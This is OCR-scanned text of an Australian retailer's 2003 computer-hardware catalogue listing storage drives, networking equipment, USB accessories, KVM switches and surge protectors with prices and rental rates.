efficient. 

CD-RW 52/24/52 USB 2.0 (H0517) $315 
CD-RW 52/24/52 Firewire (H0519) $355 
CD-RW 52/24/52 USB 2.0 & Firewire (H0368) $385 
CD Duplicator 1-2-1 standalone & connected mode: 

CD Duplicator CDR52-HDVD16x USB2.0 

Rent* $8.60/wk (J0485) $768 

LaCie CD-R/ DVD-R is based on Pioneer A05 mechanism: 
DVDR 4x / DVD-RW 2x / CD-R16X / CD-RW 8x. It comes 
complete with all software for PC, all cables and one 
DVD-R and CD-RW media. 


LaCie Pocket hard disks are the most robust and mobile 
drives on the market. Made of light aluminium for better 
cooling and fully moulded in a silicon bumper for 
protection. Includes USB 2.0 and bus powered Firewire 
interface, complementary power supply and drivers. 





20GB USB 2 .0 & FireWire 

(F5369) $409 

40GB USB 2.0 & FireWire 
(F5371) $525 
60GB USB 2.0 & FireWire 

Rent* $7.67/wk 



DVD-R/RW/CD-R/RW (A05) 
^ USB 2.0 & FireWire 

Rent* $8.95/wk (G9780)$799 

DVD-R/RW/CD-RW (A05) Internal IDE drive 

(G9595) $539 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 


The most affordable NAS drive to share data simultaneously 
amoung 25 users. Connect to it up to 500 users (Mac, PC & 

Unix) on any type of network. Windows XP embedded. USB 2.0 I 
& Firewire expansion ports to increase capacity easily. Inculde 
Backup function with scheduler. Auto-sensing lObaseT & 
lOObaseTX or higher. 

(250GB) 7200rpm 8MB cache Ethernet disk 

Rent* $23.60/wk (J0705) $2,378 

(500GB) 7200rpm 8MB cache Ethernet disk 

Rent* $33.08/wk (J0706) 5^33 



Would you like 
Fly Buys with that? 








































4 . IOMEGA ^ 


f Prices are subject to change. Check here for latest prices & products 


Smart Storage Solutions 


Not all items are 
In stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery. 




(H9652) 


Zip 750MB Drive 



More speed and more capacity, 
this NEW 750MB drive and d 
is the fastest and most 
durabie, portabie storage 
soiution to back up your 
important data, 

Iomega Automatic Backup 
software makes backup a snap and 
Iomega Sync software helps transfer flies between 
computers. Zip 750MB drives and disks are the smart da 
storage choice. 

USB 2.0 (Fg601)$37O 


Externai Hard Disk Drive 


Iomega External Hard Drive adds 
secure storage easily 
and quickly. 

It comes complete 
with Iomega Sync™ 
and Automatic 
Backup™ disaster 
recovery software 
to protect your files. 



Firewire (G2978) S397 


USB2 Card sold separately 

USB 2.0 80GB (F9625) $484 

USB2.0120GB Rent* $6.89/wk (F9789) $61 


Zip 100MB USB Powered 

An affordable total storage solution 


Portabie Hard Disk Drive 



as easy to use, but far superior 
to the floppy drive. 

Iomega’s Zip® 100MB 
USB-Powered drive , 
is affordable, 
reliable, easy to use 
and has 

a sleek, durable design 
powered through the USB cable for 
complete plug-and-play compatibility. (D0587) 5105 
250MB USB Powered (B64041 $2871 


NAS Servers 


Iomega portable hard drive 
solution that makes security, 
recovery and data storage 
easy. 

QuikSync™ automatic 
back-up and disaster 
recovery software protects 
your files. Built in a durable, slim design 
that’s easy to take with you. 

USB2 Card sold separately USB 2.0 20GB (G4671)$43S 
Rent* $6.97/wk USB 2.0 40GB (F9794) $623| 


) is a complete - 

Its 

B. slim desion 


NEW!! 


NEW range of NAS Servers up to 1.44 TB are coming soon. 
Call Harris Technology for Pricing! 



CD-RW 52x24x52 USB 2.0 


For the fastest and easiest way to 
save and share music, photos 
and more, choose an 
Iomega® CD-RW drive. With 
up to 52x24x52 write/ 
rewrite/read speeds you can 
burn a 60-minute CD in less than 3 
minutes. Includes plug-and-play functionality for portability, 
buffer under-run protection for reliability and Iomega 
HotBurn® Pro software with advanced functionality easy CC 
customization, burning MP3s and organizing digital photos. 
(USB 2 Card sold seperately) ^ n 

(30752)5357 



HARRIS 

TECHNOLOGY™ 


Predator CD-RW 40x24x40 
USB 2.0 


Iomega Predator 40x24x40 
External USB 2.0 CD-RW drive 
boasts the highest speeds on the 
market along with the coolest 
design available.lt is a top loading 
small form factor. It includes all 
the hardware and industry-leading software you need to 
easily and very quickly burn CDs. 



USB2 Card sold separately 


(I0335)$315 


I PRICING AND SPEC IFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

I M iia a] ™ — .. ' 
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yiultimedia: DVD & DVR 


Now even faster! 4x DVD-R 2x DVD-RW 


bVR-A05 

)VD-R/RW Writer 
D-R/RW Writer 
■EATURES: 

DVD - 4x write, 2x re-write,12x read 
CD - 16x write, 8x re-write, 32x read 


aster writing: 

Vriting a full 4.7GB DVD-R disc can now 
ake just 15 minutes instead of what was 
)nce an hour-long process 

NCLUDES COMPREHENSIVE 
SOFTWARE PACKAGE 

DVD Workshop SE 
DVD Authoring Package 
VideoStudio 6.0 SE DVD 
Video Editing Suite 
PictureShow SE 
Burn your still images onto DVD 
Veritas RecordNow DX 
High performance CD or 
DVD recording 

OVR-A05 CCOO 

Rent $6.71/wk {G2070) ^ 977 

DVR-105EXT 

Portable storage device 


DLA & Simple Backup 
Write data files to CD or DVD 
PowerDVD XP 
For DVD movie playback 
DVD Authoring example CD 
1 x DVD-R media 
1 x DVD-RW media 


DVD-R/RW/CD-R/RW drive in firewire (IEEE1394)/ USB 2.0 external case. 

SOFTWARE INCLUDED: 

Same as DVR-A05 

Bonus Arcsoft Showbiz Video Editing Software 
Comes bundled with product while stocks last! 

Rent* $10.41/wk (G6779) 

DVD-A06SZ 16x 

SLOT LOADING DVD-ROM DRIVE RETAIL KIT 

FEATURES: SOFTWARE INCLUDED: 

• 16x slot loading DVD-ROM drive (40x for CD) • PowerDVD XP 

Ultra DMA66 BONUS: 

• Vertical or horizontal mounting 

• 2 year warranty 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

Sales: 1300 13 9999 Web: www.lit.com.au 

Fax: 1300 13 6666 Email: sales@ht.com.au 
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f Prices are subject to change. Check here for latest prices & produ^ 


Outstanding Performance & Reliability 



Maxtor® fireball 3 


• 3.5-lnch 5400RPM 

• Entry-Class hard drives 

• Capacity up to 40GB 

• FastATA/Enhanced IDE 
compatible 

• Digital signal processor (DSP)-based 
architecture 

• Ultra ATA/133 data transfer speed 

• 2MB SDRAM cache buffer 


40GB(G8761) Fireballs 



Maxtor® DiamondMax® Plus 8 


■ 3.5-lnch 7200RPM 

• Mainstream Performance and valu( 
Class Hard Drives 

• Capacities Up To 40GB 

• FastATA/Enhanced IDE compatible 

• Ultra ATA data transfer speeds up to 
133 MB/Sec 

• 2MB cache buffer 

• Quiet drive technology FDB (Fluid Dynamic 
Bearing) motors 

• Shock and data protection system 


40GB (G0646) 


Diamondl 


Maxtor® Atlas lOK IV 


Maxtor® Atlas 15K IV 


Maxtor Atlas™ 10K IV disk drives 


Maxtor Atlas™ 15K IV disk drives provide 
outstanding performance for data- 
intensive applications, with 
15,000RPM, an ultra320 SCSI 
interface, and Maxtor’s Shock 
Protection System. 



' 4 ?^ S170 


$469 

$699 

$1,449 











































Mgp^tor 


4ew external hard drives 


Your Best Ideas 

Need Maxtor OneTouch™ 




Easy - Just push the button to 
make a backup copy of your files. 

Fast • Back up files faster than floppy, 

CD or removable cartridge systems. 
Convenient - Make backup copies of your 
files, while you work, with a simple push of a 
button. 

Flexible ■ Use Maxtor OneTouch™ or run 
automated, unattended backups with Dantz 
Retrospect Express. 


Quick and Easy Installation 

(T) Install the software (^Plug in the drive 


3 Push the button and follow 


Ideal for home or office, the 
Maxtor Personal Storage™ 
5000LE external hard drive 
quickly adds storage and 
organisational space through 
your computer’s USB port. 


(G4110) 9977 

• Easy add-on storage for home or office • USB 2.0/1.1 compatible 

• Perfect for photos, music and documents • Up to 480MB/sec data transfer rate 

• Maxtor OneTouch™; the easy way to • Quick and easy installation 

make backup copies of your files • Maxtor award-winning 

• Dantz® Retrospect® Express hard drive technology 

software included • Stands vertically or horizontally 



The Maxtor 7200RPM hard 
drive featuring both FireWire 
(IEEE1394, i.LINK®) and USB 2.0 
interface ports gives you one of 
the most versatile drives 
available for your PC. 




Perfect for video editing and high-end graphics c A /O AA 

Exclusive Maxtor OneTouch" I O0/2U0gB 


Rent* $6.71/wk (H0596) $599 
Rent* $8.28/wk (H0553) $739 


200GB 


• Versatile add-on storage for editing 
videos and high-end graphic files 

• Maxtor OneTouch™: the easy way 
to make backup copies of your files 


• Dantz® Retrospect® Express software 

• Quick and easy installation 

• Flexible dual interfaces—FireWire® 
and USB 2.0/1.1 compatible 

• Powerful performance—7200RPM 



Flexible add-on storage for 
your home or office, with room to 
grow. With 250GB, the Maxtor 
external hard drive provides you 
with enough capacity to hold and 
organize your storage-hungry 
applications and files. 


Perfect for storage-hungry files 

Exclusive Maxtor OneTouch^^dlJGB 


250GB Rent* $8.28/wk (G4113) 


• Flexible add-on storage for 
storage-hungry files 

• Maxtor OneTouch™: the easy way to 
make backup copies of your files 

• Dantz® Retrospect® Express 
software Included 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. ■ HARRIS Torhnnlnnu ronfrol 

Sales: 1300 13 9999 Web: www.ht.com.au ■ TECHNOLOGvJecnno ogy Tre| 
Fax: 1300 13 6666 Email: SaleS@ht.COm.au ■ at Kmart Broadway-Sydnoy 


• Quick and easy installation 

• Flexible dual interfaces—FireWire® 
and USB 2.0/1.1 compatible 

« Rotational Speed 5400RPM 

• Stands vertically or horizontally 

• Hot-swappable 
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WHAT’S nIw 



www.ht.com.au/cat/dlink 


^ 22Mbps & 54 Mps Wireless Network 


Cable /DSL Routers & Gateways 



DWL-1200+ D-Link AirPremier™ 22Mpbs Wireless 
LAN Concurrent Access Point & Bridge 

• Simultaneous Operation of Access Point & Bridge function 

• Fast Ethernet Port(s) to bridge Wireless LAN to Ethernet Network 

• 4-Port 10/100Mpbs Switch 

• Modes of operation(s): 

Access Point 

AP Client 

Bridge (Point-to-Point or Point-to-Multi Point) DWL-1200+ 

• Wireless Repeater Operation Function „ . 

^ Rent* $10.25/wk 

DWL-810+ (J2429) $895 

• Converts any Ethernet device 

(i.e Printers) to Wireless $300 


DWL-810+ (J2433) 


DSL-302G USB/Ethernet Combo 
ADSL Modem - with NAT + DHCP 

DWL-302G (J2428) $229 

DI-764 11/22/54Mpbs Wireless IP 
Router for DSL/Cable Modems with 
3-Port Switch & Print Server 




DI-764 Rent* $10.25/wk (G9645) $915 


4 


DSL-604+ 

The DSL-604+ Remote ADSL Router is a versatile 
all-in-one networking device that provides high-speed 
broadband Internet connection, wireless user access 
and dedicated LAN bandwidth server connection. 



Rent* $6,71/wk (G8729) $599 


3 Voice over IP (VoIP) Gateways & IP Phones 


DPH-80S 

IP Phone with SIP Protocol Support 

• 1-Port lO/IOOMpbs fast ethernet 

• IP Address assignment using DHCP 
or static configuration 

• Easy-to-Use setup / Programming 
interface 

• Hands-free dialing 

• Configuration setup via web browser 



(J2465) $409 


DPH-100S 

IP Phone with SIP Protocol Support 
& LCD Display 

• 2-Port 10/100Mpbs fast ethernet 

• IP Address assignment using DHCP 
or static configuration 

• QoS (Priority Queues) 

• Easy-to-Use setup / Programming 
interface 


Rent* $7.56/wk 

(J2467) $675 


DG-102SP 

2-Port VoIP Station Gateway with 
SIP Protocol Support 

• 2 RJ-11 FXS ports for 2 phone/fax 
comms 

• 1 PSTN life line POTS port 

• 10/100Mpbs fast ethernet for 
broadband & LAN port 

QoS (Priority jtueues) 


Rent* $7.72/wk 
(J2468) $689 y 


HARRIS 
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PRICING AND SPEC I FICATIONS MAY CHA N GE. PLEASE REFER TO PAGE 2 FOR DETAILS. 
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’roducts on Promotion 


High Quality Video Conferencing for Home and Office 

DVC-1000 Videophone 

The D-Link DVC-1000 i2eyeTM VideoPhone introduces the world of video 
conferencing over the Internet, to bring you and your family, friends and 
colleagues together. Since the DVC-1000 i2Eye VideoPhone is a stand-alone 
device, you do not need a computer to video conference over the Internet. 

Connect a standard telephone and a television to the DVC-1000, plug in a 
standard Ethernet network cable connected to your broadband Internet 
connection and you are ready to conduct real-time videoconferencing. 

Compatible with Net Meeting or any product that supports Net Meeting. 

Rent* $9.69/wk (H2334) $865 

•Offer available from 01/06/03 - 30/06/03 or while stocks last. Bundled with product. 

Cable & DSL Routers/Gateways 

DI-614+ 

Ideal networking solution for SOHO & other 
small business catering to public useage 
• DSL/ Cable Modem • 22Mbps Wireless Access Point 

•Router • 4 Port 10/100 Switch 



PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. | 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 
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High Speed Internet Access 


NB2800 Cable / ADSL Router / 4-port switch 


NB3000 Cable / DSL Wireless Router / 4-port switch 

• Built-in Telstra cable connection 

• 4-port 10/100 switch 

• NAT firewall protection 

• Wireless range up to 90 metres indoors! 

Wireless speeds and range may vary depending on locations. 

NB3100 Cabie/DSL Firewaii Router / 4-port switch 

• SPI (Stateful Packet Inspection) • Supports up to 

• Supports Denial of Service Preventions 2 simultaneous 

and URL filtering vPN tunnells 

• Can block all Java, ActiveX code and cookies • 4-port 10/100 switch 

• IPSec and PPTP pass-through 


NB3200 Cabie / DSL VPN Router 4-port switch 

• Provides full IPSec VPN tunnelling • 4-port 10/100 switch 

and NAT firewall protection • Easy web interface 

• Supports up to 70 simultaneous VPN tunnels 


(Netcomm Cabie / DSL Routere 


• Built-in DHCP server 

• NAT firewall protection 

• VPN pass-through 

• Quick & easy to install 






(ADSL Modems with Netcomm 


NB1300 ADSL Ethernet Modem Router 

High speed ADSL modem with both Ethernet & USB connectivity. 
Approved for connection to Telstra’s ADSL network. 


NB3300 ADSL Modem / Router / 4-port switch 

Integrated ADSL modem and router with 4 port 10/100 switch. 


>$169 


• Easy web interface . |p port filtering, IPSec 

• NAT security and internet sharing passthrough, remote access, 

■ Supports PPPoA,PPPoE, PPTP DMZ hosting, DHCP 

and bridged protocols (F3590) $399 


HARRIS 
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PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 
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lAfireless Networking 


I Netcomm 802.11 b Wireless Networking 


NP6800 Wireless Access Point 


Netcomm 11Mbps Wireless LAN 
Access Point 

• Flexible integration for Infrastructure, 
Client, Point & Multipoint Bridge modes 

• Security with the latest 128-bit WEP 
encryption 

• Auto fallback = optimised reliability, 
throughput and transmission range. 



NP1300 

Connect your PDA to your LAN. lObase-T Compact 
Flash LAN Adaptor. Comes with PCMCjA adaptor 
for use in notebooks. 

(D4201) $129 

NP1500 

Enhanced 32-bit Intel based 10/ 

100Mbps network card specifically 
developed with business users in mind. 

(G6482) $95 

PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. | 

Sales: 1300 13 9999 Web: www.ht.com.au 

Fax: 1300 13 6666 Email: sales@ht.com.au 
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Not all items ate 
in stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery! 


USB & FireWire Solutioifai . 

USB 2.0 & FireWire Hubs USB 2.0 & FireWire Host Adapters 


S 


HARRIS I 

TECHNOLOGY, i 


UIR-100 

USBtoIrDA 

Wireless 

Adapter 


Connect your USB 2.0 
and FireWire peripherais 
to your PC with our range 
of high speed hubs. USB 
2.0 hubs are backward 
compatibie with USB 1.1 
products. 





instantly add USB 2.0 or FireWire 
ports to your notebook or PC and 
advantage of transfer 
speeds of up to 480Mbps. 





UH-422 4 Port USB 2.0 Pocket Hub (G8675) $88 

UH-402 4 Port USB 2.0 UFO Hub (G1938) $88 

1394-601 6 Port FireWire Repeater (D8947) $129 

UHF-432 Combo Hub-4 XUSB2.0 Ports & 

3 X FireWire Ports (G5589) $169 I 


UCB-402 4 Port USB 2.0 Cardbus (G4199) $ 9 $ 

UPCI2-1005 Port USB 2.0 PCi Adapter (D8945) $59 

1394-PCI 3 Port FireWire PCI Adapter (D8946) $64 

1394-201 2 Port FireWire Cardbus (G8693) $79 

UFPCI-221 Combo PCI Adapter 
2 X USB2.0 Ports & 3 x FireWire Ports (G6107) $165 


USB 2.0 Ext HDD Enclosure USB 2.0 Docking Station 


$90 


I USB to PS/2 


Just drop in your iDE hard drive 
and you have a hot-swappabie, 
piatform-independent, 
high-speed portable drive! 

• Use for External Storage 

• Ideal for Backup Device 

UHD-2500USB2.0to2.5”HDD (G8727) $89 

^UHD-3500 USB2.0 to 3.5" HDD _ (H8796) $ 120 ^ 



Connect your iegacy 
peripherais to aimost any 
notebook or desktop with^. 
one single connection. ““ 
Includes • 2 x USB 2,0 
Ports. • 2 X PS/2 Ports, 
Printer • Port, Seriai Port 
& 10/100 Ethernet. 



UDS-102 USB 2.0 Docking Station (G8691) 


$219 


• Pocket Size 1 

•True Piug and Piay 

• Security Zone Feature 


UFD-0032 USB Flash Drive - 32MB 
UFD-0064 USB Fiash Drive - 64MB 
UFD-0128 USB Fiash Drive - 128MB 
UFD-0256 USB Fiash Drive - 256MB 
UFD-0512 USB Flash Drive - 512MB 
UFD-1000 USB Fiash Drive - 1GB 



^USB 1.1 Mini & Stackable Hubs 

Our USB mini hubs are small, 
lightweight & ideal for notebooks. ^ 
Our stackable hubs are 



designed for your desktop 
and save valuable space. 


ST 

UH-201M2PortUSB1.1 Mini Hub 

{G1939) 

w 

$28 

UH-401M4PortUSB1.1 Mini Hub 

(G1940) 

$39 

UH-401S 4 Port USB Stackable Hub 

(G6108) 

$59 

UH-701S 7 Port USB Stackable Hub 

{G6109) 

$89 
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Intelligent KVM Solutions 



ServerLink LCD Console Drawers 


With a 15" TFT LCD screen, 
keyboard, touchpad and integrated 
KVM switch housed in an industry 
standard 19" lU-height rack 
drawer, these LCD KVM switches 
save you up to 1/3 of vaiuabie rack 
cabinet space. 


LKS-101H 1U Consoie Drawer 15" TFT LCD, Keyboard & mouse 
LKS-801H 8 Port KVM - LCD Consoie Drawer includes aii cables 
LKS-1601H 16 Port KVM - LCD Console Drawer includes all cable; 



Notaliitc 
in stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery! 


Computer 
to SOHO & 
Infinity 
Cables for 
PS/2 & VGA 


ServerLink SOHO KVM Switches ^ ServerLink Infinity KVM Switches 







SL-251-P 2 port KVM inc.2 x 2m cables (E3692) $199 
SL-451-P 4 port KVM inc.4 x 2m cables (E3694) $299 


? 2MTR (63972) 

$27 


SL-221 2 port ServerLink KVM for PS2 (B3047) $269 
SL-421 4 port ServerLink KVM for PS2 (A9890) $349 
SL-821 8 port KVM Rent* $10.97/wk (97888) $979 
SL-1621 16 port KVM Rent* $17.92/wk (97890) $ 1,599 1 


Avocent KVM Over IP 


These all-in-one 16 port switches combine analogue and 
IP-based KVM switching for local access from your data 
centre and REMOTE access from anywhere in the world. 
Avocent’s exclusive KVM over IP switching technology 
supports multi-platform, multi-location and multi-device 
installations, all over a standard IP connection. 


AVR1000 16 Port KVM over IP -1 Local User & 1 Remote User Rent* $59.36/wk 

AVR2000 16 Port KVM over IP -1 Local User & 2 Remote Users Rent* $77.94wk 

AVRIQ-PS2 AVR Smart Cable - CAT 5 to PS/2 & VGA 


Avocent KVM Over CAT 5 UTP 


Control hundreds or even thousands of servers from 
8 users using Avocent’s AMX Series KVM switches. This 
solution allows you to access your servers from up to 300 
metres away using standard CAT 5 UTP RJ45 cabling. It also 
features full system management with an advanced Java- 
based administration tool. 


Avocent 

AMX5000 32 Port 8 User Matrix KVM Switch using CAT 5 Rent* $98.56/wk 

AMX5100 User Station for AMX5000 - Supports PS/2 & SUN Rent* $22.61/wk 

AMIQ-PS2 AMX Smart Cable - CAT 5 to PS/2 & VGA 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. | 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 
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Belkin - KVM Switches 


I Not all items are | 
In stock at all 
J stores but can be I 
] ordered for Pick- f 
1 uporDelivery< [ 


Belkin have a diverse product offering including networking and broadband sharing devices, award winning surge 
suppressors, wireless accessories. Firewire solutions, computer accessories, Audio/Video/Phone cabling and accesso¬ 
ries, and the largest selection of computer cables in the world. For more detailed product information and a look at 
our extensive range of connectivity solutions, come and visit our new look website at www.belkin.com.au! 


CONNECT MULTIPLE COMPUTERS USING BELKIN KVM SWITCHES 



F1DB102P - Economy 2-Port KVM Switch 

• PS/2 Platform 

* Hot key switching and manuai 

push-button port seiection 
Supports resoiutions up to 
2048x1536@85Hz __ 

(D3162) $92 


F1DB104P - Economy 4-Port KVM Switch 



• PS/2 Platform 

• 10 second auto-scan function 

• LED indicators 


(D3159) $17 


F1Dau047 - SOHO Series 2-Port KVM Switch with Audio 
• USB Platform 

Audio and microphone switching support 
/Supports resolutions up to 2048x1536@85Hz 
/ Awarded Gold Award from IDEA and IDSA 


F1DS104T - SOHO Series 4-Port KVM Switch 



(H0630) $369 


F1DA108TZ - Admin 8-Port KVM Switch m 
D aisychainable 


OSD 


(D3167) $43 

F1DA116TZ - Admin 16-Port KVM Switch with OSD 


• PS/2 and USB Platforms 

• Audio and microphone switching supp 

• Hot key switching and direct-port 
access button 


• Hot key switching 

• PS/2 keyboard and mouse emuiation 

• PS/2 in, PS/2 & USB out 


Rent* $9.29/wk (E5377) $829 
'Bundle offer available from 01/06/03 to 30/06/03 or while stocks last. 


* Dedicated daisychain ports 

■ BANK address displayed on frontpan 

• PS/2 in, PS/2 & USB out 

■ Comes with Belkin 5 year warran 


' Rent* $12.31/wk (E5378) $ 1,09 


Don't forget to include your Belkin All-In-One cable: 


The easiest & neatest way to connect all your computers 
and servers to your PS/2 8i USB KVM switches, providin; 
image clarity for high-resolution applications. 


PROTECT AND INSURE YOUR VALUABLE EQUIPMENT FOR LIFE 


The leader in power protedioni Belkin offers a complete Power Protection range, for the average home to a total office solution. All Belkin 
Surge Protectors are guaranteed to protect against spikes, surges and lightning strikes. We will repair or replace any damaged 
connected equipment, offering the best no hassles connected equipment warranty in the business. Protect your valuable computer, 
stereo and electrical equipment today - for a lifetime! 


F5C208z2-TEL3 - SurgeMaster 8-way (2m cord) with Telephone Protection and $80,000 
Warranty • Lifetime, $80,000 Connected Equipment Warranty • Internet ready telephone/fax/modem 
protection • Max Spike Amperage of 39,000 Amps • Block Space to allow for large transformers 
• EMI/Radio frequency interference filtering for clean power. (C4607) $11S 


F5C206z2-TEL3 - SurgeMaster 6-way (2m cord) with Telephone and Coaxial Protection and 
$50,000 Warranty * Lifetime, $50,000 Connected Equipment Warranty * Protect your valuable Audio 
I Visual Equipment • 1184 joule energy rating for maximum protection • 1.8 metre telephone cord and 1.8 
' metre coaxial cable included (C4604) $ 9 { 


F5C195zTEL - Single Outlet MasterCube with Telephone Protection and $15,000 Warranty 

• Lifetime, $15,000 Connected Equipment Warranty • Max Spike Amperage of 27,000 Amps • 824 joule 

energy rating for maximum protection • Internet ready telephone/fax/modem protection « 

• convenient and portable for travelling (D5956) $35 


PRICING A ND SPEC I FICATIONS MAY CHA N GE. PLEASE REFER TO PAGE 2 TOR DETAILS. 

I FINANCE METHODS | 

■ ARE SUBJECT TO 
I APPROVAL. 
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Belkin Networking Solutions 

Selkin are committed to providing quality products at competitive prices. We offer lifetime warranties on almost all of 
}ur products and free expert technical support. For more detailed product information and a look at our extensive 
'ange of connectivity solutions, come and visit our new look website at www.belkin.com.au! 


54g WIRELESS NETWORK! 


nto high gear with speeds up to 54mhps, without wiresi 54g technology provides you with networking speeds nearly five times faster than 
he current Wi-Fi (802.1 lb) standard. This brand new technology is backward compatible with the 802.1 lb Wi-Fi networking standard, 
so it allows you to implement faster wireless technologies in combination with existing 802.1 lb Wi-Fi networks. An added Turbo Mode I 
isolate your network from 802.1 lb wireless clients and allow your network to transmit data at the highest 54g data rate. Belkin's 54g I 
products are also fully upgradeable when 802.11 g is ratified. Now more than ever there is no reason to delay, get wireless today. I 


F5D7230au4 54g Wireless DSL/Cable Gateway Router F5D7130au 54g Wireless Access Point 

Compatible with all 802.11b devices | • Extends your 802.11b or 54g wireless 

Network security with 128-bit ■ network 

WEP encryption • 3 times the operating range of 802.11a 

Works with MAC or PC computers • Adds wirelessly networked PCs to your 





wired network 


(H2200) $279 


F5D7000au 54g wireless Desktop Network Card 

• Fits any standard 32-bit PCI expansion 

• Interoperable with all 802.11b 2.4GHz 
devices 

• 3 times the operating range of 802.11a 

^ (H2197) $149 


F5D7010au 54g Wireless Notebook Network Card 
Fits any standard 32-bit Cardbus slot 
Low power consumption chipset 
Use Turbo mode for speeds of up to 
54mbps 

(H2196) $149 



QUICK & SMART - USB SOLUTIONS FROM BELKIN 


F5U228 H 

^ F5U248 

F5U230 ^ 

F5U900au 


Hi Speed USB H 

M USB 2.0 8-in-1 Media 

USB to 

USB 2.0 Compu¬ 


2.0 DVD Creator V 

A Reader/Writer 

Smartbeam 

ter Upgrade Kit 


* Capture video % 

Works with CFI&li, 

• Transfer files easily 

• Achieve speeds 


from analog 

SM, SD, MMC, MD, MS 

from your PDA, mobile f i 

of up to 480mbps 


sources to digital 

and MGS 

or notebook 



(H0616) $169 

(J2210) $99 

(H0927) $99 ^ 

(F0897) $99 

"ON THE GO"? CHECK OUT SOME OF OUR MOBILE ACCESSORIES 


F8Q1410 

ForiPAQ 

3700/3900 

with 

easy-access I 
stylus holder I 
(H2222) 

$59 

Penlight Stylus|^ 


F8E825-USB - Mini-Wireless Optical Mouse (USB) 

• The popular optical mini-mouse is wireless! 

■ Small and compact for travellers 

Engineered with the latest optical technology 

• 27MHz for worldwide compatibility 

(H5027) $79 


^81 


i8 - Retractable USB Light 

White LED lamp provides illumination in any setting 
Notebook dip positions light where you need it 
Swivel directional head 

Retractable 19" cable (J0895) $29 


F8E466-MOB - Numeric Keypad 

Works instantly with USB plug&play technology 
Slim, lightweight design 

* Suits any notebook that is USB ready 

• Comes with Belkin Lifetime Warranty 

(J2212) $29 

F5U217-MOB - 3-Port Hi-Speed USB 2.0 Pocket Hub 
■3 USB 2.0 or USB 1.1 ports 
' Extremely lightweight, perfect for travel 
■ Switching power supply-for worldwide use 
(J2213) $99 


roc^oo-muD 


Sony, Jornada 
(G7752) 

$23 


F8E907 

ForiPAQ 

3600/3700 

series 

(G8181) 

$99 


HOT, HOT, HOT - Exclusive Specials from Belkin & Harris Technology! 


F8E921 - SPECIALI 

4-Port USB Hub + Optical Mini-scroller 
Mouse AND Hi-speed Modem Cable. 

(J1899) $ 79 ! 


F8E922 - SPECIALI 

3-Port USB Pocket Hub + 

Optical Mini-Mouse AND Retractable 

USB Light (J1271) $ 149 ! 


B5Cau015 - SPECIALI 
SurgeMaster 5-way (2m cord) with 
Telephone Protection AND $25,000 
Warranty. (j2214) $ 79 ! 



PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 



Delivery 

Australia-Wide 















































CS)NETGEAR 


f Prices are subject to change. 


Everybody’s Connecting 




( Managed Switches 


(D4118) 

$72 


|l0/100MpsPCI 

(A1372) 

$32 


FA 411 

10/100Mbps 
PC card (No 
dongle 
required) 
(B9944) 

$79 


FA511 


card (No 
dongle 
required) 
(04112) 

$85 


These Managed Switches from NETGEAR provide a 
compiete soiution with ail core components already built in. 
They provide complete Layer 2 management including SNMP, 
RMON, VLAN, QoS, Port Trunking, Radius and more. 
NETGEAR now also offer premium service and support 
options for businesses. 

PSM.e 

24 Ports 10/100Mbps, 2 x copper gigbit ports, 2 x GBIC slots. 

Rent* $14.10/wl< (J2423) $ 1,258 

FSM726S 

24 Ports 10/100Mbps, 2 x copper gigbit ports, 2 x GBIC slots, 
non-blocking backplane, stackable. 

Rent* $15.35/wk (D8885) $ 1,370 

FSM750S 

48 Ports 10/100Mbps, 2 x copper gigabit ports, 2 x GBIC slots, 
non-blocking backplane, stackable. 

Rent* $30.14/wk (G4121) $ 3,037 


NEW Premium Support 
Services include same 
day and 4 hour capital 
city warranty 
replacement ! 


SuTp'S [ Gigabit Switches 


These unmanaged gigabit switches from 
NETGEAR provide lightening fast 10/100/1000 
connections. All ports are automatic speed 
and full/half duplex sensing. 


I HARRIS 

I TECHNOLOGY™ 

Technology 
Centre at 


GS524T 

24 Port 10/100/1000 gigabit switch. 



Rent* $29.87/wk (D5961) 

GS516T 

16 port 10/100/1000Mbps gigabit switch. 

Rent* $22.20/wk (D5960) 

GS108 

8 Port 10/100/1000Mbps gigabit switch. 

Rent* $10.07/wk (H1741) 

GS104 

4 Port 10/100/1000Mbps gigabit switch. 

Rent* $8.13/wk (F7306) 




AGM711F 

Managed Fibre gigabit module 


Rent* $10.24/wk (D0924) 


$914 


GSM712 

10 ports 10/100/1000Mbps switch with 2x GBIC slots. 

Rent* $37.00/wk (F4112) $ 3,728 


AGM711T 

Managed Copper gigabit module 
(D0921) 


$249 



HARRIS 


TECHNOLOGYf^ 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 
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NETGEAR 


l/Vireless Solutions 


=irewall and VPN Routers 

NETGEAR offer a complete range of ProSafe firewall routers which 
nclude SPI, DoS, logging and reports and aierts. Ail routers support VPN 
)assthrough, content filtering and VPN endpoint termination is avaiiabie 
)n certain products. 

VM318 Cable/DSL ProSafe firewall, 802.11b Wireless access point, 
ipto 102 VPN tunnels over WLAN and WAN, 8 x 10/100 switch 

Rent* $19.95/wk (G8578) $ 1,780 

^L328 Cable/DSL ProSafe firewall router, 100 VPN tunnels, 

X 10/100 switch Rent* $12.83/wk (G8576) $ 1,145 

